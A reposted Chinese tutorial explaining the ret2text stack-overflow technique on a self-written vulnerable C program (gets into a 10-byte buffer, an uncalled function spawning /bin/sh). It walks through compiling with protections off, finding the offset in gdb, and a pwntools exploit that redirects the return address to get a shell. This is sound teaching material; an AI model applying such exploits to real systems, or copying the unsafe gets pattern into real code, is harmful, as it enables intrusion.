棧溢出之ret2text


前言

目前棧溢出漏洞主要的利用方式是ROP(Return Oriented Programming),即返回導向編程,通過棧溢出內容覆蓋返回地址,使其跳轉到我們想要執行惡意代碼的位置中。而跳轉的目標有可能是一段本就已經寫好的可以執行惡意命令的函數,也有可能是某個全局變量空間,甚至構造一個系統調用的cpu指令,跳轉到一個libc中的函數等。最終目的都是執行惡意命令,而未來幾篇文章分別介紹采取上述不同的方法完成不同場景的ROP。

ret2text原理

先從ROP中最易於理解的ret2text講起,ret2text顧名思義,即控制返回地址指向程序本身已有的的代碼(.text)並執行。

題目描述

我們手動碼一個帶棧溢出問題的程序,這個程序有兩個子函數func和sys,func中gets位置存在棧溢出,而sys函數未被任何函數調用。

1
2
3
4
5
6
7
8
9
10
11
12
13
//ret2text.c
#include <stdlib.h>
int sys(){
system("/bin/shn");
}
int func(){
char a[10];
gets(a);
puts(a);
}
int main(){
func();
}

為了方便學習分析,這次先不加入canary機制和地址隨機化問題的干擾,這些機制的繞過方式放在后面統一歸納總結。所以在gcc編譯過程中加入參數使其關閉這兩個保護機制,並打開-g調試選項,使用如下方式進行編譯。

1
gcc -g -fno-stack-protector -no-pie -o ret2text64 ret2text.c

ROP過程

問題分析

首先我們將程序gdb中,使用checksec查看一下安全機制(雖然這個題目的安全機制我們已經提前知道)

我們分析一下這個程序,從ret2text的原理來看,我們需要覆蓋通過func函數中的局部變量a的溢出,覆蓋func函數的返回地址,將其引導到sys函數的地址就可以獲取shell。

所以我們需要的信息有以下幾點:
1.局部變量a的地址
2.func函數的返回地址
3.sys函數的地址

尋找信息

接下來就按照整理好的思路一步步獲取信息
1.先查看代碼,在第6行下個斷點調試。

2.運行程序到func內,並打印局部變量a的地址,sys函數的地址,以及此時rbp的地址。

此時找到變量a的地址是0xffe2b6,rbp的地址是0xffe2c0,sys函數的地址是0x401142。

我們需要的三個信息已經得到兩個,最后剩下的func函數返回地址,在64位程序中,在rbp之后8個字節,所以返回地址是rbp+8=0xffe2c8。

此時我們所有需要的信息都得到了,就可以開始構造我們的payload了。

pwn

首先分析payload構成,我們要填充局部變量a直到返回地址,然后再將后面八個字節的位置填充為sys函數的地址0x401142。

而這個偏移長度就是返回地址減去局部變量地址,得到0x12=18

所以payload可以通過pwntools構造為

payload = “A”*18+p64(0x401142)

然后寫出exp:

1
2
3
4
5
6
from pwn import *
p = process("./ret2text64")
payload = "A"*18 + p64(0x401142)
p.sendline(payload)
p.interactive

執行exp即可獲取shell


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM